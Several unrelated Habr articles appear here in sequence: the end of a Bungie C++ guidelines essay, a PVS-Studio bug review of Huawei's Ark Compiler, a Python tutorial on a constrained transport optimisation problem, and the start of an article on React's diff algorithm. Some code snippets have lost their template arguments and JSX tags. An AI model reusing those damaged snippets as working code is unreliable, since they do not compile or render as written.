Под управлением жизненным циклом в этой бритве в первую очередь подразумевается распределение памяти внутри игры. Один из обоюдоострых мечей языка C++ заключается в том, что управление этой памятью в основном отдаётся в руки инженера. Это означает, что мы можем разрабатывать наиболее эффективные для нас стратегии распределения и использования памяти, но в то же время подразумевает, что мы берём на себя все риски возникновения багов. Неправильное использование памяти может привести к багам, воспроизводимым время от времени и неочевидным образом, и их очень сложно отследить и устранить.
Вместо того, чтобы заставлять каждого инженера искать собственный способ управления памятью в его системе, мы используем уже написанный набор инструментов, для применения которого достаточно просто добавить его в систему. Эти инструменты не только проверены в бою и стабильны, но и содержат в себе функции слежения, чтобы мы могли видеть всю картину использования памяти нашим приложением и обнаруживать проблемные распределения.
Некоторые примеры гайдлайнов Bungie по кодингу, поддерживающие эту бритву:
* Используйте заданные в движке паттерны распределения памяти.
* Не распределяйте память напрямую из операционной системы.
* Избегайте применения Standard Template Library для кода игры.
Подведём итог
-------------
Бритвы гайдлайнов помогают выполнять оценку гайдлайнов, чтобы убедиться, что они позволяют нам справляться с трудностями, с которыми мы сталкиваемся при написании кода крупных систем. Наши бритвы:
* Отдавайте предпочтение понятности ценой времени написания
* Избегайте различий, не имеющих разницы
* Практикуйте визуальную целостность
* Избегайте сбивающих с толку абстракций
* Отдавайте предпочтение паттернам, повышающим надёжность кода
* Централизуйте управление жизненным циклом
Кроме того, как вы могли заметить, в формулировках бритв ничего не говорится о специфике C++, и это сделано намеренно. Такие формулировки хороши тем, что в целом они нацелены на создание общей философии написания удобного в поддержке кода. По большей мере они применимы и к другим языкам и фреймворкам, а уже созданные на их основе гайдлайны относятся к конкретным языкам, проектам и культурам команд разработчиков. Если вы инженер, то при выборе гайдлайнов для следующего проекта они будут вам полезны.
Кто отвечает за гайдлайны?
--------------------------
К слову об оценке: кто в компании Bungie отвечает за проверку и утверждение гайдлайнов? Этим занимается наш собственный комитет по гайдлайнам кодинга на C++ (C++ Coding Guidelines Committee). Именно комитет добавляет, изменяет и устраняет гайдлайны в процессе разработки новых паттернов кодинга и функций языков. Комитет состоит из четырёх человек, регулярно обсуждающих изменения, которые утверждаются большинством голосов.
Кроме того, комитет используется в качестве «громоотвода» в случае возникновения споров. Написание кода может быть очень личным процессом с субъективными мнениями, основанными на стилистическом самовыражении или стратегических практиках, что может приводить к достаточно серьёзным спорам о том, что же лучше для кодовой базы. Вместо того, чтобы позволять всему отделу разработки увязать в спорах, теряя в них время и энергию, отправляется запрос комитету, члены которого проверяют и обсуждают его, а затем принимают окончательное авторитетное решение.
Разумеется, иногда даже четырём людям сложно прийти к общему мнению, и именно поэтому бритвы так важны: они дают членам комитета общий фундамент, позволяющий при оценке таких запросов определять, в чём заключается основная ценность гайдлайна.
Достижение согласованности
--------------------------
Как говорилось в начале статьи, согласованность в команде чрезвычайно важна для её эффективности. У нас существуют гайдлайны по кодингу, стимулирующие к согласованности наших инженеров, а также есть бритвы гайдлайнов, помогающие определить, действительно ли гайдлайны направлены на решение проблем, с которыми мы сталкиваемся в студии. Потребность в согласованности масштабируется с ростом студии и кодовой базы, и непохоже, что в обозримом будущем этот рост закончится. Поэтому мы будем итеративно работать над нашими гайдлайнами в процессе возникновения новых трудностей и изменений. | https://habr.com/ru/post/588881/ | null | ru | null |
# Checking the Ark Compiler Recently Made Open-Source by Huawei
During the summer of 2019, Huawei gave a series of presentations announcing the Ark Compiler technology. The company claims that this open-source project will help developers make the Android system and third-party software much more fluent and responsive. By tradition, every new promising open-source project goes through PVS-Studio for us to evaluate the quality of its code.
Introduction
------------
The Ark Compiler was first announced by Huawei at the launch of the new smartphone models P30 and P30 Pro. It is claimed that the Ark Compiler will improve the fluency of the Android system by 24% and response speed by 44%. Third-party Android applications will also gain a 60% speed-up after recompilation with the Ark Compiler. The open-source version of the project is called [OpenArkCompiler](https://www.openarkcompiler.cn/); its source code is available on [Gitee](https://gitee.com/harmonyos/OpenArkCompiler), a Chinese fork of GitHub.
To check this project, I used the [PVS-Studio](https://www.viva64.com/en/pvs-studio/) static code analyzer. This is a tool for detecting bugs and potential vulnerabilities in the source code of C, C++, C#, and Java programs.
The project's size is 50 KLOC and it didn't take long to check. A small project means modest results: the article will be focusing on 11 out of the total of 39 warnings (of High and Medium levels).
Defects found in the code
-------------------------
**Warning 1**
[V502](https://www.viva64.com/en/w/v502/) Perhaps the '?:' operator works in a different way than it was expected. The '?:' operator has a lower priority than the '==' operator. mir\_parser.cpp 884
```
enum Opcode : uint8 {
kOpUndef,
....
OP_intrinsiccall,
OP_intrinsiccallassigned,
....
kOpLast,
};
bool MIRParser::ParseStmtIntrinsiccall(StmtNodePtr &stmt, bool isAssigned) {
Opcode o = !isAssigned ? (....)
: (....);
auto *intrnCallNode = mod.CurFuncCodeMemPool()->New(....);
lexer.NextToken();
if (o == !isAssigned ? OP\_intrinsiccall : OP\_intrinsiccallassigned) {
intrnCallNode->SetIntrinsic(GetIntrinsicID(lexer.GetTokenKind()));
} else {
intrnCallNode->SetIntrinsic(static\_cast(....));
}
....
}
```
We are interested in the following part:
```
if (o == !isAssigned ? OP_intrinsiccall : OP_intrinsiccallassigned) {
....
}
```
The precedence of the '==' operator is higher than that of the ternary operator (?:). Therefore, the conditional expression is evaluated in the wrong order and is equivalent to the following code:
```
if ((o == !isAssigned) ? OP_intrinsiccall : OP_intrinsiccallassigned) {
....
}
```
Since the constants *OP\_intrinsiccall* and *OP\_intrinsiccallassigned* are non-null, the condition will be returning *true* all the time, which means the body of the *else* branch is unreachable code.
**Warning 2**
[V570](https://www.viva64.com/en/w/v570/) The 'theDoubleVal' variable is assigned to itself. lexer.cpp 283
```
int64 theIntVal = 0;
float theFloatVal = 0.0;
double theDoubleVal = 0.0;
TokenKind MIRLexer
::GetFloatConst(uint32 valStart, uint32 startIdx, bool negative) {
....
theIntVal = static_cast(theFloatVal);
theDoubleVal = static\_cast(theDoubleVal); // <=
if (theFloatVal == -0) {
theDoubleVal = -theDoubleVal;
}
....
}
```
The *theDoubleVal* variable is assigned to itself without changing. The developer must have intended to store the result to *theFloatVal* instead because it is this variable that gets checked in the next line. If so, it should also be cast to *float*, not *double*. I think the fixed version should look like this:
```
theFloatVal = static_cast(theDoubleVal);
if (theFloatVal == -0) {
theDoubleVal = -theDoubleVal;
```
or even like this if the programmer simply wrote the wrong variable in the condition:
```
if (theDoubleVal == -0) {
theDoubleVal = -theDoubleVal;
```
I may still be wrong; perhaps this code should be fixed in some entirely different way. It does look obscure to an outside programmer like myself.
**Warnings 3-5**
[V524](https://www.viva64.com/en/w/v524/) It is odd that the body of '-' function is fully equivalent to the body of '+' function. mpl\_number.h 158
```
template
inline Number operator+(const Number &lhs,
const Number &rhs) {
return Number(lhs.get() + rhs.get());
}
template
inline Number operator-(const Number &lhs,
const Number &rhs) {
return Number(lhs.get() + rhs.get());
}
```
The header file *mpl\_number.h* contains a lot of duplicate code with small modifications – and mistakes, of course. In this example, the addition and subtraction operators are implemented in the same way: the programmer forgot to change the operation sign in the body of the subtraction operator.
Other warnings of this type:
* V524 It is odd that the body of '-' function is fully equivalent to the body of '+' function. mpl\_number.h 233
* V524 It is odd that the body of '-' function is fully equivalent to the body of '+' function. mpl\_number.h 238
**Warning 6**
[V560](https://www.viva64.com/en/w/v560/) A part of conditional expression is always false: !firstImport. parser.cpp 2633
```
bool MIRParser::ParseMIRForImport() {
....
if (paramIsIPA && firstImport) {
BinaryMplt *binMplt = new BinaryMplt(mod);
mod.SetBinMplt(binMplt);
if (!(*binMplt).Import(...., paramIsIPA && !firstImport, paramIsComb)) {
....
}
....
}
....
}
```
The *firstImport* variable checked in the first conditional expression is always *true*. It means the following expression will always evaluate to *false*:
```
paramIsIPA && !firstImport
```
This code either contains a logic error or is overcomplicated and can be simplified by passing the *false* constant to the *Import* function.
**Warning 7**
[V547](https://www.viva64.com/en/w/v547/) Expression 'idx >= 0' is always true. Unsigned type value is always >= 0. lexer.h 129
```
char GetCharAtWithLowerCheck(uint32 idx) const {
return idx >= 0 ? line[idx] : 0;
}
```
This check of the index variable *idx* (>= 0) doesn't make sense because the variable is unsigned. Perhaps it was meant to be compared with some other value as the threshold for indexing into the *line* array, or this meaningless check should be removed altogether.
**Warning 8**
[V728](https://www.viva64.com/en/w/v728/) An excessive check can be simplified. The '||' operator is surrounded by opposite expressions 'c != '\"'' and 'c == '\"''. lexer.cpp 400
```
TokenKind MIRLexer::GetTokenWithPrefixDoubleQuotation() {
....
char c = GetCurrentCharWithUpperCheck();
while ((c != 0) &&
(c != '\"' || (c == '\"' && GetCharAtWithLowerCheck(....) == '\\'))) {
....
}
....
}
```
The analyzer has spotted a code pattern that can be simplified. It looks similar to this form:
```
A || (!A && smth)
```
The *!A* expression will always evaluate to *true*, so the original expression can be simplified as follows:
```
while ((c != 0) && (c != '\"' || (GetCharAtWithLowerCheck(....) == '\\'))) {
....
}
```
**Warnings 9-10**
[V728](https://www.viva64.com/en/w/v728/) An excessive check can be simplified. The '(A && !B) || (!A && B)' expression is equivalent to the 'bool(A) != bool(B)' expression. mir\_nodes.cpp 1552
```
bool BinaryNode::Verify() const {
....
if ((IsAddress(GetBOpnd(0)->GetPrimType()) &&
!IsAddress(GetBOpnd(1)->GetPrimType()))
||
(!IsAddress(GetBOpnd(0)->GetPrimType()) &&
IsAddress(GetBOpnd(1)->GetPrimType()))) {
....
}
....
}
```
This is another snippet that needs refactoring. To make it more readable, I split the code into several lines, while in its original form, the condition occupies two full lines, which made it much more difficult to figure out. The code can be rewritten in a simpler and clearer form:
```
if (IsAddress(GetBOpnd(0)->GetPrimType()) !=
IsAddress(GetBOpnd(1)->GetPrimType()))
....
}
```
Another code fragment to be refactored in a similar way:
* V728 An excessive check can be simplified. The '(A && B) || (!A && !B)' expression is equivalent to the 'bool(A) == bool(B)' expression. bin\_mpl\_import.cpp 702
**Warning 11**
[V1048](https://www.viva64.com/en/w/v1048/) The 'floatSpec->floatStr' variable was assigned the same value. input.inl 1356
```
static void SecInitFloatSpec(SecFloatSpec *floatSpec)
{
floatSpec->floatStr = floatSpec->buffer;
floatSpec->allocatedFloatStr = NULL;
floatSpec->floatStrSize = sizeof(floatSpec->buffer) /
sizeof(floatSpec->buffer[0]);
floatSpec->floatStr = floatSpec->buffer;
floatSpec->floatStrUsedLen = 0;
}
```
The analyzer has detected two identical initializations of the variable *floatSpec->floatStr*. I believe the second duplicate line can be removed.
Conclusion
----------
Just a few days ago, we checked another project by Huawei, [Huawei Cloud DIS SDK](https://www.viva64.com/en/b/0688/). The company is currently making their projects open-source, which is good news for the developer community. Such projects as the Ark Compiler or Harmony OS are very young and haven't become popular yet, so investing in the quality control of the code at this stage should be very profitable since it can help avoid potential vulnerabilities and customer criticism.
References
----------
1. [Checking LLVM, 2011](http://www.viva64.com/en/b/0108/)
2. [Checking LLVM, 2012](http://www.viva64.com/en/b/0155/)
3. [Checking GCC, 2016](http://www.viva64.com/en/b/0425/)
4. [Checking LLVM, 2016](http://www.viva64.com/en/b/0446/)
5. [Checking PascalABC.NET, 2017](https://www.viva64.com/en/b/0492/)
6. [Checking Roslyn (.NET Compiler Platform), 2019](https://www.viva64.com/en/b/0622/)
7. [Checking LLVM, 2019](https://www.viva64.com/en/b/0629/) | https://habr.com/ru/post/478282/ | null | en | null |
# Решение закрытой транспортной задачи с дополнительными условиями средствами Python
### Постановка задачи
Необходимость решения транспортных задач в связи с территориальной разобщённостью поставщиков и потребителей очевидна. Однако, когда необходимо решить транспортную задачу без дополнительных условий это как правило не является проблемой поскольку такие решения достаточно хорошо обеспечены как теоретически, так и программными средствами.
Решение закрытой транспортной задачи средствами Python с классическим условиями для поставщиков и потребителей товара приведено в моей статье “Решение задач линейного программирования с использованием Python” [1].
Реальная транспортная задача усложняется дополнительными условиями и вот некоторые из них. Ограниченная грузоподъёмность транспорта, не учитываемые задержки при оформлении груза на таможне, приоритеты и паритеты для поставщиков и потребителей. Поэтому решение закрытой транспортной задачи с учётом дополнительных условий и стало целью данной публикации.
### Алгоритм решения транспортной задачи с классическими условиями
Рассмотрим пример исходных данных в виде таблицы (матрицы).
где C= [7,3,6,4,8,2,1,5,9]– список стоимости перевозки единицы товара от заказчиков к потребителям; X – список объёмов перевозимых товаров, обеспечивающих минимальные затраты; a= [74,40,36] – список объёмов однородных товаров на складах поставщиков; b= [20,45,30] – список объёмов спроса заказчиками однородных товаров.
Задача закрытая поскольку sum(a)> sum(b), поэтому для X из строк таблицы запишем неравенства ограниченные сверху, а для X из столбцов таблицы равенства. Для дальнейшей обработки возьмём полученные соотношения в скобки и приравняем их переменным.
mass1 = (x[0] + x[1] +x[2] <= 74)
mass2 = (x[3] + x[4] +x[5] <= 40)
mass3 = (x[6] + x[7] + x[8] <= 36
mass4 = (x[0] + x[3] + x[6] == 20
mass5 = (x[1] +x[4] + x[7] == 45)
mass6 = (x[2] + x[5] + x[8] == 30)
Приведенная система из шести переменных является типовой для транспортной задачи, остаётся определить функцию цели, которая с учётом списка С для коэффициентов и переменных mass будит иметь вид:
problem =op(C[0]\*x[0] + C[1]\*x[1] +C[2]\* x[2] +C[3]\*x[3] + C[4]\*x[4] +C[5]\* x[5]+C[6]\*x[6] + C[7]\*x[7] +C[8]\* x[8], [mass1, mass2, mass3, mass4, mass5, mass6,x\_non\_negative])
Следует отметить возможности некоторых решателей по введению ограничений сразу на все переменные Х, например, добавлением к общим условиям условия не отрицательности –x\_non\_negative.
### Формирование дополнительных условий для закрытой транспортной задачи
Причины этих условий могут быть различными, например, ограниченная грузоподъёмность транспорта, не учитываемые задержки при оформлении груза на таможне, приоритеты и паритеты для поставщиков и потребителей. Поэтому мы будем указывать только субъектов и характер ограничения.
Для дальнейшего использования пронумеруем следующие дополнительные условия к закрытой транспортной задаче.
1.Установка заданного объёма поставки товара от определённого поставщика определённому заказчику.
Для этого вводиться новая переменная с соответствующим ограничением. Например первый поставщик должен поставить второму заказчику ровно 30 единиц товара– **mass7 = (x[1] == 30)**.
2.Изменение объёма поставки товара для определённого заказчика.
Для этого меняются условия на столбец таблицы объёмов доставок товаров. Например, для второго заказчика объём заказа уменьшился с 45 единиц товара до 30.
Строку условий **mass5 = (x[1] +x[4] + x[7] == 45)** следует заменить на
**mass5 = (x[1] +x[4] + x[7] == 30)**.
3. Установка верхней границы объёма поставок товара для поставщика.
Для этого меняются условия на строку таблицы объёмов доставок товаров. Например, для объёмов доставки товаров второго поставщика было ограничение сверху <= 40, а возникла необходимость доставки ровно 40 единиц товара. Переменную условий **mass2 = (x[3] + x[4] +x[5] <= 40)** заменим на **mass2 = (x[3] + x[4] +x[5] == 40)**.
4. Паритет на поставки второго и третьего поставщиков
Для этого приравниваются объёмы поставок нескольких поставоких поставщиков, что обычно делается для улучшения бизнес климата. Например 6объёмы доставок товаров второго и третьего поставщика транспортных услуг соответственно ограничены сверху <=40 и <=36. Заменим строки mass2 = (x[3] + x[4] +x[5] <= 40) и **mass3 = (x[6] + x[7] + x[8] <= 36)** на **mass2 = (x[3] + x[4] +x[5] == 30)** и **mass3 = (x[6] + x[7] + x[8] == 30)**.
### Решение закрытой транспортной задачи с дополнительными условиями средствами решателя cvxopt Python
**Программа для дополнительного условия №1**
```
from cvxopt.modeling import variable, op
import time
start = time.time()
x = variable(9, 'x')
c= [7,3,6,4,8,2,1,5,9]
z=(c[0]*x[0] + c[1]*x[1] +c[2]* x[2] +c[3]*x[3] + c[4]*x[4] +c[5]* x[5]+c[6]*x[6] +c[7]*x[7] +c[8]* x[8])
mass1 = (x[0] + x[1] +x[2] <= 74)
mass2 = (x[3] + x[4] +x[5] <= 40)
mass3 = (x[6] + x[7] + x[8] <= 36)
mass4 = (x[0] + x[3] + x[6] == 20)
mass5 = (x[1] +x[4] + x[7] == 45)
mass6 = (x[2] + x[5] + x[8] == 30)
mass7 = (x[1] == 30)
x_non_negative = (x >= 0)
problem =op(z,[mass1,mass2,mass3,mass4 ,mass5,mass6, mass7,x_non_negative])
problem.solve(solver='glpk')
print("Результат Xopt:")
for i in x.value:
print(i)
print("Стоимость доставки:")
print(problem.objective.value()[0])
stop = time.time()
print ("Время :")
print(stop - start)
```
Результат Xopt:
0.0
30.0
0.0
0.0
0.0
30.0
20.0
15.0
0.0
Стоимость доставки:
245.0
Время:
0.04002642631530762
**Программа для дополнительного условия №2**
```
from cvxopt.modeling import variable, op
import time
start = time.time()
x = variable(9, 'x')
c= [7,3,6,4,8,2,1,5,9]
z=(c[0]*x[0] + c[1]*x[1] +c[2]* x[2] +c[3]*x[3] + c[4]*x[4] +c[5]* x[5]+c[6]*x[6] +c[7]*x[7] +c[8]* x[8])
mass1 = (x[0] + x[1] +x[2] <= 74)
mass2 = (x[3] + x[4] +x[5] <= 40)
mass3 = (x[6] + x[7] + x[8] <= 36)
mass4 = (x[0] + x[3] + x[6] == 20)
mass5 = (x[1] +x[4] + x[7] == 30)
mass6 = (x[2] + x[5] + x[8] == 30)
x_non_negative = (x >= 0)
problem =op(z,[mass1,mass2,mass3,mass4 ,mass5,mass6,x_non_negative])
problem.solve(solver='glpk')
print("Результат Xopt:")
for i in x.value:
print(i)
print("Стоимость доставки:")
print(problem.objective.value()[0])
stop = time.time()
print ("Время :")
print(stop - start)
```
Результат Xopt:
0.0
30.0
0.0
0.0
0.0
30.0
20.0
0.0
0.0
Стоимость доставки:
170.0
Время:
0.040003299713134766
**Программа для дополнительного условия №3**
```
from cvxopt.modeling import variable, op
import time
start = time.time()
x = variable(9, 'x')
c= [7,3,6,4,8,2,1,5,9]
z=(c[0]*x[0] + c[1]*x[1] +c[2]* x[2] +c[3]*x[3] + c[4]*x[4] +c[5]* x[5]+c[6]*x[6] +c[7]*x[7] +c[8]* x[8])
mass1 = (x[0] + x[1] +x[2] <= 74)
mass2 = (x[3] + x[4] +x[5] == 40)
mass3 = (x[6] + x[7] + x[8] <= 36)
mass4 = (x[0] + x[3] + x[6] == 20)
mass5 = (x[1] +x[4] + x[7] == 45)
mass6 = (x[2] + x[5] + x[8] == 30)
x_non_negative = (x >= 0)
problem =op(z,[mass1,mass2,mass3,mass4 ,mass5,mass6,x_non_negative])
problem.solve(solver='glpk')
print("Результат Xopt:")
for i in x.value:
print(i)
print("Стоимость доставки:")
print(problem.objective.value()[0])
stop = time.time()
print ("Время :")
print(stop - start)
```
Результат Xopt:
0.0
45.0
0.0
10.0
0.0
30.0
10.0
0.0
0.0
Стоимость доставки:
245.0
Время:
0.041509151458740234
**Программа для дополнительного условия №4**
```
from cvxopt.modeling import variable, op
import time
start = time.time()
x = variable(9, 'x')
c= [7,3,6,4,8,2,1,5,9]
z=(c[0]*x[0] + c[1]*x[1] +c[2]* x[2] +c[3]*x[3] + c[4]*x[4] +c[5]* x[5]+c[6]*x[6] +c[7]*x[7] +c[8]* x[8])
mass1 = (x[0] + x[1] +x[2] <= 74)
mass2 = (x[3] + x[4] +x[5] == 30)
mass3 = (x[6] + x[7] + x[8] == 30)
mass4 = (x[0] + x[3] + x[6] == 20)
mass5 = (x[1] +x[4] + x[7] == 45)
mass6 = (x[2] + x[5] + x[8] == 30)
x_non_negative = (x >= 0)
problem =op(z,[mass1,mass2,mass3,mass4 ,mass5,mass6,x_non_negative])
problem.solve(solver='glpk')
print("Результат Xopt:")
for i in x.value:
print(i)
print("Стоимость доставки:")
print(problem.objective.value()[0])
stop = time.time()
print ("Время :")
print(stop - start)
```
Результат Xopt:
0.0
35.0
0.0
0.0
0.0
30.0
20.0
10.0
0.0
Стоимость доставки:
235.0
Время:
0.039984941482543945
### Решение закрытой транспортной задачи с дополнительными условиями средствами решателя scipy. optimize Python
**Программа для дополнительного условия №1**
```
from scipy.optimize import linprog
import time
start = time.time()
c = [7, 3,6,4,8,2,1,5,9]
b_ub = [74,40,36]
A_ub = [[1,1,1,0,0,0,0,0,0],
[0,0,0,1,1,1,0,0,0],
[0,0,0,0,0,0,1,1,1]]
b_eq = [20,45,30,30]
A_eq = [[1,0,0,1,0,0,1,0,0],
[0,1,0,0,1,0,0,1,0],
[0,0,1,0,0,1,0,0,1],
[0,1,0,0,0,0,0,0,0]]
print(linprog(c, A_ub, b_ub, A_eq, b_eq))
stop = time.time()
print ("Время :")
print(stop - start)
```
Результат:
fun: 245.0
message: 'Optimization terminated successfully.'
nit: 10
slack: array([ 44., 10., 1.])
status: 0
success: True
x: array([ 0., 30., 0., 0., 0., 30., 20., 15., 0.])
Время:
0.01000523567199707
**Программа для дополнительного условия №2**
```
from scipy.optimize import linprog
import time
start = time.time()
c = [7, 3,6,4,8,2,1,5,9]
b_ub = [74,40,36]
A_ub = [[1,1,1,0,0,0,0,0,0],
[0,0,0,1,1,1,0,0,0],
[0,0,0,0,0,0,1,1,1]]
b_eq = [20,30,30]
A_eq = [[1,0,0,1,0,0,1,0,0],
[0,1,0,0,1,0,0,1,0],
[0,0,1,0,0,1,0,0,1]]
print(linprog(c, A_ub, b_ub, A_eq, b_eq))
stop = time.time()
print ("Время :")
print(stop - start)
```
Результат:
fun: 170.0
message: 'Optimization terminated successfully.'
nit: 7
slack: array([ 44., 10., 16.])
status: 0
success: True
x: array([ 0., 30., 0., 0., 0., 30., 20., 0., 0.])
Время:
0.04005861282348633
**Программа для дополнительного условия №3**
```
from scipy.optimize import linprog
import time
start = time.time()
c = [7, 3,6,4,8,2,1,5,9]
b_ub = [74,36]
A_ub = [[1,1,1,0,0,0,0,0,0],
[0,0,0,0,0,0,1,1,1]]
b_eq = [20,45,30,40]
A_eq = [[1,0,0,1,0,0,1,0,0],
[0,1,0,0,1,0,0,1,0],
[0,0,1,0,0,1,0,0,1],
[0,0,0,1,1,1,0,0,0]]
print(linprog(c, A_ub, b_ub, A_eq, b_eq))
stop = time.time()
print ("Время :")
print(stop - start)
```
Результат:
fun: 245.0
message: 'Optimization terminated successfully.'
nit: 8
slack: array([ 29., 26.])
status: 0
success: True
x: array([ 0., 45., 0., 10., 0., 30., 10., 0., 0.])
Время:
0.04979825019836426
**Программа для дополнительного условия №4**
```
from scipy.optimize import linprog
import time
start = time.time()
c = [7, 3,6,4,8,2,1,5,9]
b_ub = [74]
A_ub = [[1,1,1,0,0,0,0,0,0]]
b_eq = [20,45,30,30,30]
A_eq = [[1,0,0,1,0,0,1,0,0],
[0,1,0,0,1,0,0,1,0],
[0,0,1,0,0,1,0,0,1],
[0,0,0,1,1,1,0,0,0],
[0,0,0,0,0,0,1,1,1]]
print(linprog(c, A_ub, b_ub, A_eq, b_eq))
stop = time.time()
print ("Время :")
print(stop - start)
```
Результат:
fun: 235.0
message: 'Optimization terminated successfully.'
nit: 8
slack: array([ 39.])
status: 0
success: True
x: array([ 0., 35., 0., 0., 0., 30., 20., 10., 0.])
Время:
0.05457925796508789
### Решение закрытой транспортной задачи с дополнительными условиями средствами решателя pulp Python
**Программа для дополнительного условия №1**
```
from pulp import *
import time
start = time.time()
x1 = pulp.LpVariable("x1", lowBound=0)
x2 = pulp.LpVariable("x2", lowBound=0)
x3 = pulp.LpVariable("x3", lowBound=0)
x4 = pulp.LpVariable("x4", lowBound=0)
x5 = pulp.LpVariable("x5", lowBound=0)
x6 = pulp.LpVariable("x6", lowBound=0)
x7 = pulp.LpVariable("x7", lowBound=0)
x8 = pulp.LpVariable("x8", lowBound=0)
x9 = pulp.LpVariable("x9", lowBound=0)
problem = pulp.LpProblem('0',pulp.LpMaximize)
problem += -7*x1 - 3*x2 - 6* x3 - 4*x4 - 8*x5 -2* x6-1*x7- 5*x8-9* x9, "Функция цели"
problem +=x2==30
problem +=x1 + x2 +x3<= 74,"1"
problem +=x4 + x5 +x6 <= 40, "2"
problem +=x7 + x8+ x9 <= 36, "3"
problem +=x1+ x4+ x7 == 20, "4"
problem +=x2+x5+ x8 == 45, "5"
problem +=x3 + x6+x9 == 30, "6"
problem.solve()
print ("Результат:")
for variable in problem.variables():
print (variable.name, "=", variable.varValue)
print ("Стоимость доставки:")
print (abs(value(problem.objective)))
stop = time.time()
print ("Время :")
print(stop - start)
```
Результат:
x1 = 0.0
x2 = 30.0
x3 = 0.0
x4 = 0.0
x5 = 0.0
x6 = 30.0
x7 = 20.0
x8 = 15.0
x9 = 0.0
Стоимость доставки:
245.0
Время:
0.16973495483398438
**Программа для дополнительного условия №2**
```
from pulp import *
import time
start = time.time()
x1 = pulp.LpVariable("x1", lowBound=0)
x2 = pulp.LpVariable("x2", lowBound=0)
x3 = pulp.LpVariable("x3", lowBound=0)
x4 = pulp.LpVariable("x4", lowBound=0)
x5 = pulp.LpVariable("x5", lowBound=0)
x6 = pulp.LpVariable("x6", lowBound=0)
x7 = pulp.LpVariable("x7", lowBound=0)
x8 = pulp.LpVariable("x8", lowBound=0)
x9 = pulp.LpVariable("x9", lowBound=0)
problem = pulp.LpProblem('0',pulp.LpMaximize)
problem += -7*x1 - 3*x2 - 6* x3 - 4*x4 - 8*x5 -2* x6-1*x7- 5*x8-9* x9, "Функция цели"
problem +=x1 + x2 +x3<= 74,"1"
problem +=x4 + x5 +x6 <= 40, "2"
problem +=x7 + x8+ x9 <= 36, "3"
problem +=x1+ x4+ x7 == 20, "4"
problem +=x2+x5+ x8 == 30, "5"
problem +=x3 + x6+x9 == 30, "6"
problem.solve()
print ("Результат:")
for variable in problem.variables():
print (variable.name, "=", variable.varValue)
print ("Стоимость доставки:")
print (abs(value(problem.objective)))
stop = time.time()
print ("Время :")
print(stop - start)
```
Результат:
x1 = 0.0
x2 = 30.0
x3 = 0.0
x4 = 0.0
x5 = 0.0
x6 = 30.0
x7 = 20.0
x8 = 0.0
x9 = 0.0
Стоимость доставки:
170.0
Время:
0.18919610977172852
**Программа для дополнительного условия №3**
```
from pulp import *
import time
start = time.time()
x1 = pulp.LpVariable("x1", lowBound=0)
x2 = pulp.LpVariable("x2", lowBound=0)
x3 = pulp.LpVariable("x3", lowBound=0)
x4 = pulp.LpVariable("x4", lowBound=0)
x5 = pulp.LpVariable("x5", lowBound=0)
x6 = pulp.LpVariable("x6", lowBound=0)
x7 = pulp.LpVariable("x7", lowBound=0)
x8 = pulp.LpVariable("x8", lowBound=0)
x9 = pulp.LpVariable("x9", lowBound=0)
problem = pulp.LpProblem('0',pulp.LpMaximize)
problem += -7*x1 - 3*x2 - 6* x3 - 4*x4 - 8*x5 -2* x6-1*x7- 5*x8-9* x9, "Функция цели"
problem +=x1 + x2 +x3<= 74,"1"
problem +=x4 + x5 +x6 == 40, "2"
problem +=x7 + x8+ x9 <= 36, "3"
problem +=x1+ x4+ x7 == 20, "4"
problem +=x2+x5+ x8 == 45, "5"
problem +=x3 + x6+x9 == 30, "6"
problem.solve()
print ("Результат:")
for variable in problem.variables():
print (variable.name, "=", variable.varValue)
print ("Стоимость доставки:")
print (abs(value(problem.objective)))
stop = time.time()
print ("Время :")
print(stop - start)
```
Результат:
x1 = 0.0
x2 = 45.0
x3 = 0.0
x4 = 10.0
x5 = 0.0
x6 = 30.0
x7 = 10.0
x8 = 0.0
x9 = 0.0
Стоимость доставки:
245.0
Время:
0.17000865936279297
**Программа для дополнительного условия №4**
```
from pulp import *
import time
start = time.time()
x1 = pulp.LpVariable("x1", lowBound=0)
x2 = pulp.LpVariable("x2", lowBound=0)
x3 = pulp.LpVariable("x3", lowBound=0)
x4 = pulp.LpVariable("x4", lowBound=0)
x5 = pulp.LpVariable("x5", lowBound=0)
x6 = pulp.LpVariable("x6", lowBound=0)
x7 = pulp.LpVariable("x7", lowBound=0)
x8 = pulp.LpVariable("x8", lowBound=0)
x9 = pulp.LpVariable("x9", lowBound=0)
problem = pulp.LpProblem('0',pulp.LpMaximize)
problem += -7*x1 - 3*x2 - 6* x3 - 4*x4 - 8*x5 -2* x6-1*x7- 5*x8-9* x9, "Функция цели"
problem +=x1 + x2 +x3<= 74,"1"
problem +=x4 + x5 +x6 == 30, "2"
problem +=x7 + x8+ x9 == 30, "3"
problem +=x1+ x4+ x7 == 20, "4"
problem +=x2+x5+ x8 == 45, "5"
problem +=x3 + x6+x9 == 30, "6"
problem.solve()
print ("Результат:")
for variable in problem.variables():
print (variable.name, "=", variable.varValue)
print ("Стоимость доставки:")
print (abs(value(problem.objective)))
stop = time.time()
print ("Время :")
print(stop - start)
```
Результат:
x1 = 0.0
x2 = 35.0
x3 = 0.0
x4 = 0.0
x5 = 0.0
x6 = 30.0
x7 = 20.0
x8 = 10.0
x9 = 0.0
Стоимость доставки:
235.0
Время:
0.17965340614318848
### Вывод
Полученные в публикации дополнительные условия к закрытой транспортной задаче позволяют получать решения, более приближенные к реальной ситуации по доставке товаров. Приведенные дополнения можно использовать по несколько в одной задаче применяя их в зависимости от возникшей ситуации. Исследован вопрос выбора решателя для транспортной задачи с условиями. Таким решателем является scipy. optimize, как более узко функциональный чем cvxopt и более быстрый чем pulp. Кроме того scipy. optimize имеет более компактную запись условий транспортной задачи, что облегчает его работу с интерфейсом.
Всем спасибо за внимание!
### Ссылки
1. [Решение задач линейного программирования с использованием Python.](https://habrahabr.ru/post/330648/)
2. [CVXOPT Modeling.](http://cvxopt.org/userguide/modeling.html)
3. [Optimization.](https://docs.scipy.org/doc/scipy/reference/tutorial/optimize.html)
4. [Optimization with PuLP.](https://pythonhosted.org/PuLP/) | https://habr.com/ru/post/335104/ | null | ru | null |
# Diff-алгоритм React
[React](http://facebook.github.io/react/) — это JavaScript библиотека для создания пользовательских интерфейсов от Facebook. Она была разработана «с нуля», с упором на производительность. В этой статье я расскажу вам о diff-алгоритме и механизме рендеринга, который использует React, что позволит вам оптимизировать ваши приложения.
#### Diff Алгоритм
Перед тем как мы углубимся в детали реализации, довольно важно, чтобы вы имели представление о том, как работает React.
```
var MyComponent = React.createClass({
render: function() {
if (this.props.first) {
return A Span;
} else {
return A Paragraph
;
}
}
});
```
